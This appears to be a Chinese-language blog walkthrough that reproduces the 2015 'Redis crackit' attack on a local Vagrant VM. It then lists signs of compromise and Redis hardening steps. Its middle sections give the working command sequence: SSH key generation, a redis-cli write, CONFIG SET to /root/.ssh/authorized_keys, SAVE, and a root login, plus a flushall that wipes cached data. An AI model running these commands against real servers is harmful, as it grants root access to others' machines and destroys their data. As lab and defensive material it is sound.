Redis crackit 漏洞尝试
最近爆出来的 Redis crackit 漏洞一直沸沸扬扬,趁着周末的时间研究了一下。研究之余不免感叹,这个漏洞简单粗暴,甚至可以说没有任何技术含量,却能对全球网络造成瘫痪之势,一夜之间几万台服务器接连沦陷。纵观这个漏洞的各个关键点,几乎都是由于配置疏忽导致的,可见运维同学还是任重而道远啊。
一、准备工作
<span style="color:red">网络入侵是违法行为,请在虚拟环境下进行本次实验!</span>
为了在本地进行实验,首先,我们需要有一台安装了 redis-server 的虚拟机,我们使用 Vagrant 自带的 hashicorp/precise32 镜像,虚拟机启动好之后,使用 vagrant ssh
连接。
$ vagrant init hashicorp/precise32
$ vagrant up
$ vagrant ssh
由于新的镜像中默认并没有 redis-server ,我们先要安装并启动它。这里要注意,vagrant 默认使用的用户名是 vagrant 用户,而不是 root 用户,需要使用下面的命令,切换到 root 用户,并使用 passwd
命令给 root 用户设置一个密码:
vagrant@precise32:~$ sudo su -
root@precise32:~# passwd
root 用户设置好之后,安装 redis-server:
root@precise32:~# apt-get install redis-server
运行 redis-server:
root@precise32:~# redis-server /etc/redis/redis.conf
至此,准备工作就绪,确保实验环境的 redis-server 已启动,并且是以 root 用户运行的:
二、折腾下 vagrant ssh
这里还有一点要注意,因为刚刚是使用 vagrant ssh
连接的虚拟机,和真实环境下使用 ssh
命令还是有所区别,为了使用 ssh
连接虚拟机,需要弄明白 vagrant ssh
的实现原理。我们通过 vagrant ssh-config
命令查看下 vagrant ssh 配置:
$ vagrant ssh-config
Host default
HostName 127.0.0.1
User vagrant
Port 2222
UserKnownHostsFile /dev/null
StrictHostKeyChecking no
PasswordAuthentication no
IdentityFile /home/aneasystone/vagrant/.vagrant/machines/default/virtualbox/private_key
IdentitiesOnly yes
LogLevel FATAL
我们再看下 ssh
命令的 man 手册:
看看 vagrant 的这个配置,和 ssh
的 -o
选项完全一样。实际上,vagrant 正是通过 ssh
的 -o
或者 -F
来设置参数的。
我们将 vagrant ssh-config
导入到配置文件中:
$ vagrant ssh-config > vagrant-ssh
然后通过 ssh
的 -F
参数,来连接虚拟机:
$ ssh -F vagrant-ssh root@default
或者使用 -o
指定参数:
$ ssh -o HostName=127.0.0.1 -o Port=2222 root@default
这个时候,我们就可以通过 ssh
来连接虚拟机了。这个步骤对于我们最后的成功入侵至关重要。
三、还原漏洞现场
做了这么多的铺垫,实际上真正的入侵只有下面几步:
3.1 生成 rsa 公钥和私钥
首先通过 ssh-keygen -t rsa
命令生成一对密钥文件(id_rsa 和 id_rsa.pub)
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/aneasystone/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:7Gak3RoiBuoUBceedJxMw8YTFF2n52aiS5MgTFl+tNg aneasystone@little-stone
The key's randomart image is:
+---[RSA 2048]----+
| ...BB=... . |
| oo+X=.. o |
| o++o.E . . |
| +o .. o |
| ..o . S. + |
| .... .=o.+ |
|.. o o=* . |
|o . ..+oo |
| . .. |
+----[SHA256]-----+
3.2 给公钥文件加上换行
由于生成的公钥文件只有一行,我们在前后加上几个空行。
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo
3.3 将公钥写入 redis
通过联合 cat
和 redis-cli
的 -x
参数将公钥文件写到对方 redis 缓存里。这个地方要注意,如果对方的 redis 缓存不为空,需要使用 flushall
命令清空缓存。
<span style="color:red">请确保缓存中没有重要数据,清空之前请慎重!</span>
$ cat foo | redis-cli -h default -x set crackit
3.4 将公钥保存到对方的 /root/.ssh 目录
然后是攻击最后一步,也是最重要的一步!将公钥保存到对方的 .ssh 目录的 authorized_keys 文件!
这里假设了 redis-server 是以 root 身份运行的,并且对方机器上存在 /root/.ssh 目录。如果不是以 root 身份运行的,这里就需要猜用户名了。
$ redis-cli -h default
$ 127.0.0.1:6379> config set dir /root/.ssh/
OK
$ 127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 127.0.0.1:6379> config set dbfilename authorized_keys
OK
$ 127.0.0.1:6379> save
OK
3.5 验收
如果一切顺利,对方服务器上的公钥文件已经被成功篡改了。那么使用我们刚刚创建的私钥(使用 ssh
的 -i
选项),可以无需密码即可连接对方机器:
$ ssh -o HostName=127.0.0.1 -o Port=2222 -i id_rsa root@default
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.2.0-23-generic-pae i686)
* Documentation: https://help.ubuntu.com/
New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Welcome to your Vagrant-built virtual machine.
Last login: Sun Nov 22 06:14:03 2015 from 10.0.2.2
root@precise32:~#
三、判断自己有没有中枪
如果出现以下情况,则说明很有可能你已经中枪:
- 缓存被莫名清空
- 缓存中多了一个
crackit
(或其他类似的)键 - 使用 redis 的
config get dir
命令检查是否指向了 /root/.ssh - /.ssh/authorized_keys 文件有被篡改的痕迹
- 服务器上运行着不明进程
四、如何修复漏洞
纵观整个攻击流程,之所以很顺利,都是因为 redis-server 的默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。
- 修改 redis 的
bind
参数,不要 bind 0.0.0.0,让 redis 服务只能内网访问 - 修改 redis 的
requirepass
参数,访问 redis 增加密码认证 - 修改 redis 的
port
参数,不要使用默认的 6379 端口号 - 修改 redis 的
rename-command
参数,将 CONFIG 设置为 "" ,也就是禁用 CONFIG 命令 - 以非 root 用户运行 redis 服务
- 升级最近版 redis,(最新版的 redis 已经部分修复了该问题,默认 bind 127.0.0.1,并以 redis 用户运行的)
参考
- redis crackit安全事件分析
- 【安全公告】Redis Crackit 入侵事件通告
- Redis 未授权访问配合 SSH key 文件利用分析
- What does “vagrant ssh” actually do?